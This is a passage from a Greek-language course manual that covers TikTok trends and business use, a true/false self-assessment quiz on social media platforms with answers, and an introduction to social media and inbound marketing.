συνδέσμους για ακριβείς πληροφορίες σχετικά με το COVID-19 σε βίντεο με ετικέτες που σχετίζονται με την πανδημία. Στις 10 Αυγούστου 2020, η Emily Jacobssen έγραψε και τραγούδησε το "Ode To Remy", ένα τραγούδι που εξυμνεί τον πρωταγωνιστή από την ταινία κινουμένων σχεδίων στον υπολογιστή της Pixar του 2007 με το όνομα Ratatouille. Το τραγούδι έγινε δημοφιλές όταν ο μουσικός Daniel Mertzlufft συνέθεσε ένα backing track για το τραγούδι. Σε απάντηση, άρχισε να δημιουργεί ένα "crowdsourced" έργο με την ονομασία Ratatouille The Musical. Από το βίντεο του Mertzlufft, δημιουργήθηκαν πολλά νέα στοιχεία, όπως ο σχεδιασμός των κοστουμιών, πρόσθετα τραγούδια και ένα θεατρικό έντυπο. Την 1η Ιανουαρίου 2021 έκανε πρεμιέρα στο TodayTix μια πλήρης εικονική παρουσίαση μιας ώρας του Ratatouille the Musical. ❖ Alt TikTok Γύρω στα μέσα του 2020, ορισμένοι από τους χρήστες της πλατφόρμας άρχισαν να διαφοροποιούνται μεταξύ της "alt", "elite" ή "deep" πλευράς του TikTok, που θεωρούνταν ότι είχε περισσότερους εναλλακτικούς και queer χρήστες και της "straight" πλευράς του TikTok, που θεωρούνταν η mainstream. Η υπερποπ μουσική, συμπεριλαμβανομένων καλλιτεχνών όπως οι 100 Gecs, άρχισε να χρησιμοποιείται ευρέως στο Alt TikTok, συμπληρώνοντας τη φωτεινή και πολύχρωμη "Indie Kid" αισθητική.

Το Alt TikTok

συνοδευόταν επίσης από μιμίδια με σουρεαλιστικά ή υπερφυσικά θέματα (που μερικές φορές περιγράφονται ως καταραμένα), όπως βίντεο με έντονο κορεσμό και ανθρωποειδή ζώα. Ένα από τα δημοφιλέστερα βίντεο από το Alt TikTok, που συγκέντρωσε 18 εκατομμύρια likes, δείχνει ένα λάμα να χορεύει σε διασκευή τραγουδιού από ρωσική διαφήμιση της μάρκας δημητριακών Miel Pops, που αργότερα έγινε viral audio. Ορισμένοι χρήστες του Alt TikTok προσωποποίησαν εμπορικά σήματα και προϊόντα σε αυτό που κάποιοι αναφέρουν ως Retail TikTok. ❖ Λατρείες εικόνων προφίλ Μια άλλη δημοφιλής τάση στο TikTok είναι μεγάλος αριθμός χρηστών που βάζουν την ίδια εικόνα ως εικόνα προφίλ τους, γνωστή ως λατρεία εικόνας προφίλ ή λατρεία TikTok. Δημοφιλή παραδείγματα είναι οι "The Step Chickens" (ξεκίνησε από τον χρήστη @chunkysdead), "The Hamster Cult" και η "Lana Del Rey Cult". ❖ Μάρκετινγκ επιρροής

Το TikTok έχει προσφέρει μια πλατφόρμα στους χρήστες να δημιουργούν περιεχόμενο όχι μόνο για διασκέδαση, αλλά και για χρήματα. Καθώς η πλατφόρμα έχει αναπτυχθεί σημαντικά τα τελευταία χρόνια, επέτρεψε στις εταιρείες να διαφημιστούν και να προσεγγίσουν γρήγορα το κοινό στο οποίο απευθύνονται μέσω του μάρκετινγκ επιρροής. Το χορηγούμενο περιεχόμενο δεν είναι τόσο διαδεδομένο στην πλατφόρμα όσο είναι σε άλλες εφαρμογές κοινωνικής δικτύωσης, αλλά οι μάρκες και οι επιρροές εξακολουθούν να μπορούν να κερδίζουν όσα θα κέρδιζαν, αν όχι περισσότερα σε σύγκριση με άλλες πλατφόρμες. Οι επηρεαστές στην πλατφόρμα που κερδίζουν χρήματα μέσω της εμπλοκής, όπως τα likes και τα σχόλια, αναφέρονται ως "μηχανές μιμιδίων". Το 2021, οι New York Times ανέφεραν ότι τα viral βίντεο TikTok από νέους που αφορούσαν τη συναισθηματική επίδραση των βιβλίων πάνω τους, με ετικέτα "BookTok", οδήγησαν σημαντικά τις πωλήσεις λογοτεχνίας. Οι εκδότες χρησιμοποιούσαν ολοένα και περισσότερο την πλατφόρμα ως χώρο για το μάρκετινγκ επιρροής. ❖ Χρήση από επιχειρήσεις Τον Οκτώβριο του 2020, η πλατφόρμα ηλεκτρονικού εμπορίου Shopify πρόσθεσε το TikTok στο χαρτοφυλάκιο των πλατφορμών κοινωνικής δικτύωσης που διαθέτει, επιτρέποντας στους διαδικτυακούς εμπόρους να πωλούν τα προϊόντα τους απευθείας στους καταναλωτές στο TikTok. Ορισμένες μικρές επιχειρήσεις έχουν χρησιμοποιήσει το TikTok για να διαφημιστούν και να προσεγγίσουν ένα κοινό ευρύτερο από τη γεωγραφική περιοχή που κανονικά θα εξυπηρετούσαν. Η ιογενής ανταπόκριση σε πολλά βίντεο μικρών επιχειρήσεων στο TikTok έχει αποδοθεί στον αλγόριθμο του TikTok, ο οποίος προβάλλει περιεχόμενο που έλκει τους θεατές στο σύνολό τους, αλλά το οποίο είναι απίθανο να αναζητήσουν ενεργά (όπως βίντεο για αντισυμβατικούς τύπους επιχειρήσεων, όπως η μελισσοκομία και η υλοτομία). Το 2020, εταιρείες ψηφιακών μέσων ενημέρωσης όπως η Group Nine Media και η Global χρησιμοποίησαν το TikTok όλο και περισσότερο, εστιάζοντας σε τακτικές όπως η διαμεσολάβηση για συνεργασίες με τους influencers του TikTok και η ανάπτυξη καμπανιών επώνυμου περιεχομένου Αξιοσημείωτες συνεργασίες μεταξύ μεγαλύτερων εμπορικών σημάτων και κορυφαίων influencers του TikTok ήταν η συνεργασία της Chipotle με τον David Dobrik τον Μάιο του 2019 και η συνεργασία της Dunkin' Donuts με την Charli D'Amelio τον Σεπτέμβριο του 2020.

Σύνοψη Εκπαιδευτικής Ενότητας 11 Στην ενότητα 4, παρουσιάστηκαν αντικείμενα που αναφέρονται Γενικά στοιχεία των social Media Social Media και E-Commerce Facebook Twitter Instagram LinkedIn Pinterest Youtube TikTok

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 11 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Ο όρος social media αναφέρεται σε μια τεχνολογία που βασίζεται σε

υπολογιστή που διευκολύνει την ανταλλαγή ιδεών, σκέψεων και πληροφοριών μέσω εικονικών δικτύων και κοινοτήτων. ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Τα μέσα κοινωνικής δικτύωσης μπορεί να λάβουν τη μορφή μιας

ποικιλίας δραστηριοτήτων που υποστηρίζονται από τεχνολογία ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Facebook είναι η μεγαλύτερη πλατφόρμα κοινωνικής δικτύωσης στον

κόσμο ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Facebook. Ιδρύθηκε το 2008 από τον Mark Zuckerberg με άλλους

φοιτητές του Κολλεγίου του Χάρβαρντ ΑΠΑΝΤΗΣΗ 4

Α

ΣΩΣΤΟ

Β

ΕΡΩΤΗΣΗ

5

ΛΑΘΟΣ

Η πρόσβαση στο Facebook είναι δυνατή από συσκευές με

συνδεσιμότητα στο Διαδίκτυο. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Twitter είναι μια υπηρεσία microblogging και κοινωνικής δικτύωσης

στην οποία οι χρήστες δημοσιεύουν και αλληλεπιδρούν με μηνύματα γνωστά ως "tweets”. ΑΠΑΝΤΗΣΗ 6

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Twitter επιτρέπει στους χρήστες να ενημερώνουν το προφίλ τους

μέσω του κινητού τους τηλεφώνου είτε μέσω μηνυμάτων κειμένου είτε μέσω εφαρμογών που κυκλοφορούν για ορισμένα smartphone και tablet. ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ.

Οι χρήστες μπορούν να ομαδοποιήσουν τις αναρτήσεις ανά θέμα ή τύπο

χρησιμοποιώντας hashtags – λέξεις ή φράσεις με πρόθεμα το σύμβολο "*".. ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Instagram είναι μια δωρεάν διαδικτυακή πλατφόρμα και εφαρμογή

κοινωνικής δικτύωσης κοινής χρήσης φωτογραφιών. ΑΠΑΝΤΗΣΗ 9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 10

Τον Αύγουστο του 2016, το Instagram κυκλοφόρησε το Instagram Stories.

ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 11 1:

Απάντηση 1. Α

2

Απάντηση 2. Α

3

Απάντηση 3. Α

4

Απάντηση 4. Β

5

Απάντηση 5. Α

6

Απάντηση 6. Α

7

Απάντηση 7. A

8

Απάντηση 8 B

9

Απάντηση 9 Α

10

Απάντηση 10 A

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 12: Διαφήμιση στα Social Media Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν τις διαφημίσεις στα social media. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Social Media και Mάρκετινγκ Inbound vs Outbound Marketing Προσέλκυση (Attract) Προσαρμογή (Convert) Προώθηση στους πελάτες (Engage) Υπέρβαση (Delight) Social Network Marketing ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ broadcasters, User Experience, awareness, keywords, page speed, Surveys. Εκπαιδευτική Υποενότητα 12.1 Social Media και Mάρκετινγκ Το Social Media Marketing είναι ένας όρος ομπρέλα που μπορεί να περιγραφεί ως η χρήση πλατφορμών των social media σαν εργαλείο marketing. Σύμφωνα με τον Weinberg, το Social Media Marketing λειτουργεί ως μοχλός του κοινωνικού μέσω των μέσων μαζικής ενημέρωσης προς την αγορά των επιχειρήσεων. Με άλλα λόγια, είναι μια διαδικασία που δίνει τη δυνατότητα στα άτομα να προωθήσουν τους ιστότοπους, τα προϊόντα και / ή τις υπηρεσίες τους μέσω διαδικτυακών κοινωνικών καναλιών, ώστε να αλληλοεπιδράσουν και να αξιοποιήσουν μια πολύ μεγαλύτερη κοινότητα που μπορεί να μην ήταν διαθέσιμη μέσω των παραδοσιακών διαφημιστικών καναλιών. Είναι πλέον γεγονός ότι οι περισσότερες από τις διαφημίσεις μέσω των μέσων ενημέρωσης δεν είναι τόσο αποτελεσματικές όσο στο παρελθόν, διότι με τη διαφήμιση μέσω της μάζας το μήνυμα γενικά φτάνει σε πολύ περισσότερους ανθρώπους από ό, τι τον δυνητικό πελάτη που επιθυμεί να προσελκύσει. Ο κοινωνικός ιστός είναι εκεί που οι άνθρωποι με κοινό ενδιαφέρον μπορούν να συγκεντρωθούν για να μοιραστούν σκέψεις, σχόλια και ιδέες. Ως εκ τούτου, αντί να συνεχίσουν ως broadcasters, οι έμποροι θα πρέπει να γίνουν συγκεντρωτές των κοινοτήτων των πελατών. Δηλαδή, ο ιστός δεν πρέπει να θεωρείται ως απλό διαφημιστικό κανάλι, αλλά ένας χώρος όπου οι έμποροι μπορούν να αφουγκράζονται και να ανταποκρίνονται στις κοινότητες, να

αξιολογούν το περιεχόμενό τους, όπως επίσης να προωθούν ένα συγκεκριμένο είδος περιεχομένου μέσα στην τεράστια αυτή κοινωνική σφαίρα. Δεδομένου του ανεπαρκούς προϋπολογισμού διαφήμισης που οι εταιρείες συχνά συναντούν μέσω των παραδοσιακών καναλιών, το Social Media Marketing μπορεί να είναι ιδιαίτερα εύκολο και περισσότερο αποτελεσματικό για τις μικρές και μεσαίες επιχειρήσεις ώστε να επωφεληθούν στο μέγιστο. Το Social Media Marketing είναι μια εξελισσόμενη τεχνολογία με μεγάλο δυναμικό, από την άλλη μεριά ο ρόλος του marketing εξακολουθεί να θυμίζει το ίδιο καθορισμός της αγοράς στόχου, επικοινωνία με τις προοπτικές, εμπιστοσύνη στην οικοδόμηση, συμμετοχή των πελατών και ούτω καθεξής. Σε αντίθεση με την παραδοσιακή διαφήμιση, τα άτομα στην εποχή των κοινωνικών μέσων έχουν πρόσβαση σε περιεχόμενο που δεν συνδέεται απαραίτητα με εμπορικούς σκοπούς (ουδέτερο περιεχόμενο). Ως εκ τούτου, εάν σε ένα άτομο αρέσει ένα περιεχόμενο, το άτομο αυτό είναι πιθανό να το μεταβιβάσει στους συνομηλίκους του, τις οικογένειές του κ.ο.κ. μέσω των social sites, και τότε το περιεχόμενο αυτό θα εξαπλωθεί γρήγορα χωρίς να κρίνεται απαραίτητη η εμπλοκή του παραδοσιακού marketing. Τα social media προσφέρουν ευκαιρίες για την επίτευξη κοινοτήτων, όταν η εταιρεία έχει εδραιώσει την παρουσία της ως συμμετέχων στην κοινότητα και αξίζει να την ακολουθήσει το κοινό, τότε πιθανόν να ενδιαφέρονται και άλλα μέλη για το τι πραγματεύεται η εταιρεία αυτή. Εξάλλου, στη φάση της νέας εποχής του marketing, το να προβληθεί η επωνυμία της εταιρείας, εξαρτάται αποκλειστικά από την εμπλοκή των κοινοτήτων, με αυτόν τον τρόπο εάν η εταιρεία δώσει πραγματικά προσοχή στα μέλη της κοινότητας, μια ισχυρή σχέση μπορεί να δημιουργηθεί με την πάροδο του χρόνου και να ανταποκριθεί σε feedbacks και άλλες απολαβές. Υπάρχουν πολλά brands στην αγορά που λαμβάνουν το Social Media Marketing ως ζωτικής σημασίας συνιστώσα στις επιχειρήσεις τους, και εξετάζουν αποτελεσματικούς τρόπους για να αποκτήσουν μια πιο λεπτομερή κατανόηση των προτιμήσεων των χρηστών των Social Media. Inbound vs Outbound Marketing Έχοντας παρουσιάσει αναλυτικά τις έννοιες του παραδοσιακού σε σχέση με το ψηφιακό marketing θα ήταν χρήσιμο να κατανοήσουμε τον διαφορετικό τρόπο λειτουργίας μεταξύ του Inbound και του Outbound Marketing. Σύμφωνα με την Brent Leary το inbound marketing παρέχει μια βελτιωμένη εμπειρία (User Experience) στους δυνητικούς πελάτες αφού χτίζει

σχέσεις εμπιστοσύνης με την εταιρεία προσφέροντας ψηφιακό περιεχόμενο ελκυστικό προς το χρήστη. Ουσιαστικά το inbound marketing προσελκύει τους δυνητικούς πελάτες μέσα από ιστοσελίδες, πλατφόρμες κοινωνικής δικτύωσης, φωτογραφίες, ηλεκτρονικά βιβλία και newsletter. Συγκρίνοντας το με το outbound marketing, το inbound αντιστρέφει τη μεταξύ του πελάτη και της εταιρείας. Στην πραγματικότητα, το outbound έχει στόχο να προωθήσει το προϊόν μέσω διαφόρων καναλιών σε αντίθεση με το inbound το οποίο στοχεύει στο να δημιουργεί επίγνωση (awareness) μέσα από ποιοτικό online περιεχόμενο και έτσι να προσελκύει νέους πελάτες. Στην παρακάτω εικόνα μπορούμε να δούμε εύστοχα την ποιοτική διαφορά μεταξύ των δύο στρατηγικών.

Στο inbound το περιεχόμενο μπορεί να προσελκύσει τον καταναλωτή προς την εταιρεία και να δημιουργήσει μια σχέση αμοιβαίας έλξης ενώ στο outbound ο πελάτης βομβαρδίζεται από ενίοτε ενοχλητικές προωθητικές ενέργειες όπως τηλεφωνικές κλήσεις, SMS, ραδιοφωνικές/τηλεοπτικές διαφημίσεις κλπ. Αντίθετα, το Outbound Marketing αποτελεί μια νέα στρατηγική που αλλάζει εντελώς τον τρόπο με τον οποίο οι εταιρείες προσελκύουν πελάτες. Τα κυριότερα κανάλια διακίνησης περιεχομένου αποτελούν το Facebook, Twitter, Youtube και τα blogs. Καθοριστικό ρόλο στην αύξηση της επισκεψιμότητας έχει και ο δείκτης SEO (Search Engine Optimization) χάριν του οποίου εμφανίζεται στοχευμένο περιεχόμενο φιλικό προς τις μηχανές αναζήτησης. Με αυτό τον τρόπο δίνεται η δυνατότητα στις εταιρείες να εστιάσουν σε συγκεκριμένη αγορά στόχο προβάλλοντας της εξατομικευμένο περιεχόμενο για τον κάθε ένα ξεχωριστά.

Το SEO αποτελεί την βελτιστοποίηση μιας ιστοσελίδας σε συγκεκριμένες διαδικασίες έτσι ώστε να προσφέρει μια ανώτερη εμπειρία χρήση (UX) και κατά συνέπεια να εμφανίζεται σε υψηλότερες θέσεις σε σχέση με ανταγωνιστικές. Σημαντικό ρόλο στην αύξηση του SEO έχουν οι λέξεις κλειδιά (keywords) σε μία ιστοσελίδα. Επίσης, βαρύτητα για τις μηχανές αναζήτησης έχει η ταχύτητα φόρτωσης της σελίδας (page speed) καθώς και η ασφάλεια η οποία παρέχει. Με τη χρήση της τεχνολογίας SSL επιτυγχάνεται η κρυπτογράφηση των δεδομένων και κατά συνέπεια η ασφάλεια των χρηστών η οποία έχει ως άμεση συνέπεια την βελτίωση του SEO. Είναι σημαντικό για το χρήστη που ενδιαφέρεται να κάνει μια αγορά να υπάρχει το αίσθημα της ασφάλειας στον εκάστοτε ιστότοπο.

Στην παραπάνω εικόνα μπορούμε να παρατηρήσουμε τις διαδρομές που δημιουργούνται μεταξύ του δυνητικού πελάτη και της εταιρείας μέχρις ότου να γίνει μια επιτυχημένη πώληση. Όπως έχει ήδη αναφερθεί, ο χρήστης δέχεται μέσα από το διαδίκτυο περιεχόμενο από κάποια βασικά κανάλια όπως οι σελίδες κοινωνικής δικτύωσης, και τα blogs. Μέσα από τα Social Media συλλέγονται στοιχεία (για παράδειγμα η ηλικία και οι καταναλωτικές συνήθειες μιας αγοράς στόχου) τα οποία εν συνεχεία προσφέρουν πληροφόρηση στο σύστημα CRM της εταιρείας να πυροδοτήσει μια νέα διαφημιστική καμπάνια με διάφορους τρόπους όπως για παράδειγμα μέσω email marketing. Η διαδικασία αυτή είναι αποτελεσματική καθώς αποδέκτες της καμπάνιας αποτελούν συγκεκριμένα άτομα

στα οποία έχεις στοχεύσει η εταιρεία. Επίσης, η στόχευση αυτή έχει και οικονομικά οφέλη για την εταιρεία καθώς περιορίζει την καμπάνια μόνο σε δυνητικούς πελάτες και όχι σε όλους. Παραπάνω υπάρχουν τέσσερις φάσεις (attract - convert - close - delight) με τις οποίες η επιχείρηση μπορεί να μετατρέψει τους ανώνυμους επισκέπτες των ιστοσελίδων της σε πελάτες και υποστηρικτές της. Η μεθοδολογία αυτή γίνεται ακόμα πιο ισχυρή όταν εφαρμόζεται παράλληλα με τις στρατηγικές πωλήσεων και προσέλκυσης πελατών. Attract: Προσέλκυση επισκεπτών Αρχικά το κοινό δεν γνωρίζει ακόμα την επιχείρησή. Είναι θεωρητικά άγνωστοι στην εταιρεία και οι ίδιοι δεν έχουν λάβει κάποια πληροφορία σχετικά με αυτά που μπορεί η επιχείρηση να τους προσφέρει. Όμως η κάθε επιχείρηση επιδίωκει την σωστή κίνηση στο site. Θέλει τους ανθρώπους που είναι πιο πιθανό να γίνουν leads, και, τελικά, ευχαριστημένοι πελάτες. Ποιοι είναι όμως οι σωστοί άνθρωποι; Οι ιδανικοί πελάτες είναι οι άνθρωποι στους οποίους έχει χτιστεί ολόκληρη η επιχείρηση. Μερικά σημαντικά εργαλεία για την προσέλκυση των σωστών χρηστών στην ιστοσελίδα είναι: 1. Blogging: Το inbound μάρκετινγκ ξεκινάει με το blogging. Ένα blog είναι ο καταλληλότερος τρόπος προσέλκυσης νέων επισκεπτών στην ιστοσελίδα της επιχείρησης. 2. SEO: Οι υποψήφιοι πελάτες αρχίζουν την διαδικασία αγοράς online, συνήθως με τη χρήση μιας μηχανής αναζήτησης (όπως είναι η Google) για να βρουν απαντήσεις σε αυτό που ζητούν. Έτσι, οι επιχειρήσεις θα πρέπει να βεβαιωθούν ότι εμφανίζονται στις πρώτες θέσεις των μηχανών αναζήτησης όταν και όπου ψάχνουν. Για να γίνει αυτό, θα πρέπει προσεκτικά και αναλυτικά να επιλεχθούν λέξεις κλειδιά, να βελτιστοποιηθούν σελίδες, να δημιουργηθεί περιεχόμενο και δεσμοί γύρω από τους όρους τους οποίους είναι πιθανόν να αναζητούν οι ιδανικοί πελάτες. 3. Δημοσιεύσεις στα Social Media: Όλες οι επιτυχής inbound στρατηγικές αναφέρονται σχετικά με την δημοσίευση ενός αξιοσημείωτου περιεχόμενου. Τα Social Media επιτρέπουν τον διαμοιρασμό αυτών των πολύτιμων πληροφοριών στο διαδίκτυο, μαζί με τις προοπτικές της κάθε επιχείρησης, και θέτουν ένα ανθρώπινο πρόσωπο στο εμπορικό σήμα. Convert: Μετατροπή των επισκεπτών σε leads Εφόσον οι επιχειρήσεις έχουν προσελκύσει επισκέπτες στην ιστοσελίδας, το επόμενο βήμα είναι η μετατροπή αυτών των επισκεπτών σε leads συλλέγοντας τα στοιχεία επικοινωνίας τους. Τα στοιχεία επικοινωνίας είναι πολύτιμα για τους online έμπορους.

Μερικά σημαντικά εργαλεία για την μετατροπή των επισκεπτών σε leads περιλαμβάνουν: 1. Φόρμες: Προκειμένου οι επισκέπτες να γίνουν leads, θα πρέπει να συμπληρώσουν μια φόρμα και να υποβάλουν τις πληροφορίες τους. Μια όσο το δυνατόν ευκολότερη φόρμα επικοινωνίας βοηθά σε αυτή την μετατροπή. 2. Calls-to-Action: Τα Calls-to-Action είναι κουμπιά ή σύνδεσμοι που ενθαρρύνουν τους επισκέπτες να αναλάβουν δράση, όπως «Μάθε Περισσότερα». Αυτό είναι το μοναδικό εργαλείο που ασχολείται αποκλειστικά με το lead generation (τη διαδικασία καταγραφής προφίλ υποψήφιων πελατών) και που αν σχεδιαστεί σωστά θα φέρει τους επισκέπτες ένα βήμα πιο κοντά στην επιχείρηση. 3. Σελίδες Προσγείωσης (Landing Pages): Όταν ένας επισκέπτης μίας ιστοσελίδας κάνει κλικ σε ένα Calls-to-Action, οδηγείτε στην σελίδα προσγείωσης όπου ολοκληρώνεται η προσφορά και όπου ο υποψήφιος πελάτης συμπληρώνει τα στοιχεία επικοινωνίας του. Στο σημείο αυτό γίνεται η μετατροπή του επισκέπτη σε lead. Delight: Μετατροπή των πελατών σε πιστούς πελάτες. Όλοι γνωρίζουμε ότι ο καλύτερος πελάτης είναι ο ευχαριστημένος πελάτης. Για να διατηρήσει ευχαριστημένους τους πελάτες που απέκτησε μια επιχείρηση μέσα από τα προηγούμενα στάδια, δημιουργεί για αυτούς εξατομικευμένο περιεχόμενο. Διατηρεί επαφή και χτίζει μια σχέση εμπιστοσύνης μαζί τους και το πιθανότερο είναι να επιστρέψουν στην επιχείρηση για τις επόμενες αγορές τους ή και να την προτείνουν στον κύκλο τους. Τα εργαλεία που χρησιμοποιούνται για τον σκοπό αυτό είναι: 1. Έρευνες (Surveys): Ο καλύτερος τρόπος για την κατανόηση των θέλω των πελατών είναι ρωτώντας τους. Οι εταιρείες χρησιμοποιούν την γνώμη των πελατών και τις έρευνες έτσι ώστε πάντα να παρέχετε στους πελάτες αυτό που ψάχνουν. 2. Έξυπνα Calls-to-Action: Παρουσιάζουν διαφορετικούς χρήστες με προσφορές που αλλάζουν σύμφωνα με την προσωπικότητα και την ζωή του αγοραστή. 3. Έξυπνο κείμενο: Στους υπάρχοντες πελάτες, οι επιχειρήσεις παρέχουν αξιοσημείωτο περιεχόμενο προσαρμοσμένο στα ενδιαφέροντα τους. Επίσης τους παρουσιάζουν νέα προϊόντα και δυνατότητες που μπορεί να τους ενδιαφέρουν. 4. Κοινωνική Παρακολούθηση: Οι επιχειρήσεις παρακολουθούν τις κοινωνικές συζητήσεις που τις ενδιαφέρουν περισσότερο. Προσέχουν τις ερωτήσεις των

πελατών, τα σχόλια, τα likes και τα dislikes και τους προσεγγίζουν με σχετικό περιεχόμενο. Στον κόσμο της τεχνολογίας, το ψηφιακό marketing και τα social media έχουν σημαντικό αντίκτυπο στη συμπεριφορά μας ως καταναλωτές, με αποτέλεσμα όσες εταιρείες δεν τα ενσωματώσουν στη στρατηγική τους να υπάρχει κίνδυνος να μείνουν πίσω από τον ανταγωνισμό. Τα σημεία σύγκρισης μπορούμε να πούμε ότι είναι τα παρακάτω: 1. Ίσοι όροι ανταγωνισμού: Κάθε επιχείρηση μπορεί να είναι ανταγωνιστική ανεξαρτήτως μεγέθους ακολουθώντας σταθερή ψηφιακή στρατηγική marketing. Παραδοσιακά, μια μικρή επιχείρηση θα δυσκολευόταν να ανταποκριθεί στην τεχνογνωσία και τα διαθέσιμα για διαφήμιση μεγαλύτερων ανταγωνιστών της. Πλέον μια

καλομελετημένη

ιστοσελίδα

με

προσεγμένη

εμπειρία

χρήστη

και

αποτελεσματική εξυπηρέτηση μπορεί να φέρει τον μικρομεσαίο στην κορυφή. 2. Μείωση του κόστους: Η επιχείρησή μπορεί να αναπτύξει στρατηγική marketing με πολύ μικρό κόστος, η οποία μπορεί δυνητικά να αντικαταστήσει τα δαπανηρά κανάλια διαφήμισης, όπως τηλεόραση και ραδιόφωνο. 3. Εύκολα μετρήσιμα αποτελέσματα: Σε αντίθεση με τις παραδοσιακές μεθόδους διαφήμισης, έχουμε σε πραγματικό χρόνο τι λειτουργεί και τι όχι στη διαφήμισή online και να μπορεί να προσαρμοστεί πολύ γρήγορα ώστε να βελτιωθούν τα αποτελέσματά της επιχείρησης. 4. Αποτελέσματα σε πραγματικό χρόνο: Δεν χρειάζεται να περάσουν εβδομάδες για να προωθηθεί μια επιχείρησή, όπως παλαιότερα στέλνοντας διαφημιστικές μπροσούρες με το ταχυδρομείο. Στο ψηφιακό marketing γίνεται ορατός ο αριθμός των επισκεπτών στην κάθε ιστοσελίδα. 5. Βελτίωση της στρατηγικής: Η γρήγορη αναγνώριση ότι μια καμπάνια κάνει κοιλιά ή μια αποστολή email δεν ανοίγεται, πλέον απαιτεί ελάχιστο χρόνο και χρήμα. Παραδοσιακά αυτό έπαιρνε μήνες για να αναγνωριστεί με αποτέλεσμα τη σπατάλη πολύτιμων πόρων. 6. Brand Development: Μια καλά στημένη και διατηρημένη ιστοσελίδα με ποιοτικό περιεχόμενο μπορεί να προσφέρει πραγματική αξία και να δημιουργήσει ένα πολύ πιστό κοινό. Το ίδιο μπορεί να επιτευχθεί με την ορθή χρήση των κοινωνικών μέσων δικτύωσης και μέσω του εξατομικευμένου email marketing.

7. Πολύ μεγάλη απήχηση: Κάθε εταιρεία μπορεί να διαφημιστεί με πολύ οικονομικό τρόπο οπουδήποτε στον κόσμο, πράγμα αδύνατον ή πολύ κοστοβόρο στο παρελθόν. 8. Viral: Στην εποχή του παραδοσιακού marketing πόσο συχνά κάποιο έντυπο φυλλάδιο ή διαφημιστικό υλικό περνούσε από χέρι σε χέρι μαζί με το διαφημιστικό μήνυμα; Πλέον με τη χρήση των social media κουμπιών στις ιστοσελίδες και των αμέτρητων καναλιών κοινωνικής δικτύωσης δεν αρκούν παρά μόνο λίγα δευτερόλεπτα προκειμένου μια είδηση να ταξιδέψει σε ολόκληρο τον κόσμο. Κάθε επιχείρηση θέλει το μήνυμά της viral. Προσοχή όμως γιατί πιο γρήγορα από τα ευχάριστα, ταξιδεύουν τα δυσάρεστα και κάθε επιχείρηση πρέπει να είναι ετοιμοπόλεμη να απολογηθεί δημοσίως. 9. Δυνατότητα Opt-out: Δίνεται η ευκαιρία στον κάθε χρήστη να σταματήσει να δείχνει ενδιαφέρον για κάποιο θέμα και να μη λαμβάνει ενημερώσεις σχετικά με αυτό. Παραδοσιακά θα έπρεπε να στείλει γράμμα στην εταιρεία ή να κλείνει το τηλέφωνο κάθε φορά που τον καλούν. 10. Μεγαλύτερη διαδραστικότητα και εμπλοκή: Με τη χρήση του ψηφιακού marketing, ενθαρρύνονται οι εν δυνάμει πελάτες και ακόλουθους μπορούν να επισκεφθούν την ιστοσελίδα της κάθε εταιρείας, να διαβάσουν για τα προϊόντα και τις υπηρεσίες της, να τα αξιολογήσουν, να τα αγοράσουν και να παρέχουν σχόλια ορατά για τους επόμενους αγοραστές. Έτσι δεν παίρνει πολύ χρόνο να διαδοθεί η θετική αλλά και η αρνητική δημοσιότητα γύρω από ένα προϊόν ή υπηρεσία. Social Media: H νέα νοοτροπία Για να αποκτήσουν μια καλύτερη θέση στη μετάβαση από την παραδοσιακή προσέγγιση Marketing στο social media marketing, οι έμποροι θα πρέπει πρώτα να αλλάξουν τη γενικότερη νοοτροπία τους όσον αφορά το Marketing. Οι πλατφόρμες κοινωνικών μέσων έχουν αλλάξει ριζικά την προσέγγιση στην στρατηγική Marketing, αντί να εστιάσουν περισσότερο στα προσδιορισμένα δημογραφικά στοιχεία, όπως η ηλικία, το φύλο ή το εισόδημα, που πλέον θεωρούνται λιγότερο σημαντικά, αντ’ αυτού ομαδοποιούν τους ανθρώπους από ό, τι κάνουν, σκέφτονται, τους αρέσει ή όχι, και το πιο σημαντικό από τις συμπεριφορές τους, γνωστό και ως στόχευση συμπεριφοράς. Πολλοί ειδικοί στον τομέα του marketing τονίζουν ότι το marketing μέσα από τα social media αφορά μάλλον την παραλαβή και ανταλλαγή αντιλήψεων και ιδεών, και μάλιστα καθιστά το social media marketing όχι πια μονοδιάστατη αλλά διπλής κατεύθυνσης διαδικασία σύνδεσης

